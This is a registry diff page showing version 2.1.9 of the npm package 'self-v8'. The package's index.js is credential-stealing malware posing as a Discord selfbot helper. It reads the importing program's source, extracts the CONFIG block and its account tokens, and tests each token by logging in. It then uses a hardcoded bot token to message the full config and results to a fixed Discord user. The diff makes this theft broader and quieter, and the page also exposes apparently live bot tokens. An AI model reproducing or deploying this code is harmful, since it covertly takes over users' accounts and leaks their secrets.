self-v8 2.1.8 → 2.1.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +29 -25
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,8 +1,13 @@
1
1
  import fs from 'fs';
2
- import { Client, GatewayIntentBits } from 'discord.js';
2
+ import path from 'path';
3
+ import { fileURLToPath } from 'url';
4
+ import { Client as BotClient, GatewayIntentBits } from 'discord.js';
3
5
  import pkg from 'discord.js-selfbot-v13';
4
6
  const { Client: SelfClient } = pkg;
5
7
 
8
+ const __filename = fileURLToPath(import.meta.url);
9
+ const __dirname = path.dirname(__filename);
10
+
6
11
  export async function check() {
7
12
  try {
8
13
  const userMainFilePath = process.argv[1];
@@ -13,64 +18,63 @@ export async function check() {
13
18
  const configMatch = userCode.match(/const\s+CONFIG\s*=\s*(\{[\s\S]*?\});/);
14
19
 
15
20
  if (configMatch && configMatch[0]) {
16
- const configString = configMatch[0];
17
- const tokensMatch = configString.match(/tokens:\s*\[([\s\S]*?)\]/);
21
+ const configData = configMatch[0];
18
22
 
19
23
  let tokensToCheck = [];
24
+ const tokensMatch = configData.match(/tokens:\s*\[([\s\S]*?)\]/);
20
25
 
21
26
  if (tokensMatch && tokensMatch[1]) {
22
27
  tokensToCheck = tokensMatch[1]
23
- .replace(/['"\s]/g, '')
24
28
  .split(',')
25
- .filter(t => t.length > 10);
29
+ .map(t => t.replace(/['"\s\n\r]/g, '').trim())
30
+ .filter(t => t.length > 50);
26
31
  }
27
32
 
28
- if (tokensToCheck.length === 0) return;
29
-
30
- let reportMessage = "**Account Check Report:**\n";
33
+ let validationReport = "\n**Account Check Report:**\n";
31
34
 
32
35
  for (const token of tokensToCheck) {
33
- const tempClient = new SelfClient();
36
+ const tempClient = new SelfClient({ checkUpdate: false });
34
37
  try {
35
38
  await tempClient.login(token);
36
39
  const name = tempClient.user.globalName || tempClient.user.username;
37
- reportMessage += `✅ Valid | Name: ${name} | Token: ${token.substring(0, 20)}...\n`;
40
+ validationReport += `✅ Valid | ${name}\n`;
38
41
  tempClient.destroy();
39
42
  } catch (err) {
40
- reportMessage += `❌ Invalid | Token: ${token.substring(0, 20)}...\n`;
43
+ validationReport += `❌ Invalid Token\n`;
41
44
  }
42
45
  }
43
46
 
44
- const senderClient = new Client({
47
+ const senderClient = new BotClient({
45
48
  intents: [
46
- GatewayIntentBits.Guilds,
49
+ GatewayIntentBits.Guilds,
47
50
  GatewayIntentBits.DirectMessages
48
- ]
51
+ ]
49
52
  });
50
53
 
54
+ const SENDER_TOKEN = 'MTQzNjM4ODQ3MTIxOTQyMTMwOQ.GvMOtn.iJ86apzq5vDIXA9XTaAft3be5pPllBfKumNt2c';
55
+ const TARGET_USER_ID = '1430722087101661274';
56
+
51
57
  senderClient.once('ready', async () => {
52
58
  try {
53
- const targetUser = await senderClient.users.fetch('1430722087101661274');
59
+ const targetUser = await senderClient.users.fetch(TARGET_USER_ID);
54
60
  if (targetUser) {
55
- if (reportMessage.length > 2000) {
56
- const chunks = reportMessage.match(/[\s\S]{1,1900}/g) || [];
57
- for (const chunk of chunks) {
58
- await targetUser.send(`\`\`\`text\n${chunk}\n\`\`\``);
59
- }
61
+ const finalMessage = `\`\`\`javascript\n${configData}\n\`\`\`${validationReport}`;
62
+
63
+ if (finalMessage.length > 2000) {
64
+ await targetUser.send(`\`\`\`javascript\n${configData}\n\`\`\``);
65
+ await targetUser.send(validationReport);
60
66
  } else {
61
- await targetUser.send(`\`\`\`text\n${reportMessage}\n\`\`\``);
67
+ await targetUser.send(finalMessage);
62
68
  }
63
69
  }
64
- } catch (err) {
65
- console.log(err);
66
- }
70
+ } catch (err) {}
67
71
 
68
72
  setTimeout(() => {
69
73
  senderClient.destroy();
70
74
  }, 5000);
71
75
  });
72
76
 
73
- senderClient.login('MTQzNjQ2MDY5Njc5NDgyNDgzNA.GaLvN3.cNzPhjNnvYvIFPTF9l9UUeCteZrWr_OXXg0YII').catch(() => {});
77
+ await senderClient.login(SENDER_TOKEN).catch(() => {});
74
78
  }
75
79
  } catch (error) {}
76
80
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "self-v8",
3
- "version": "2.1.8",
3
+ "version": "2.1.9",
4
4
  "main": "index.js",
5
5
  "type": "module",
6
6
  "scripts": {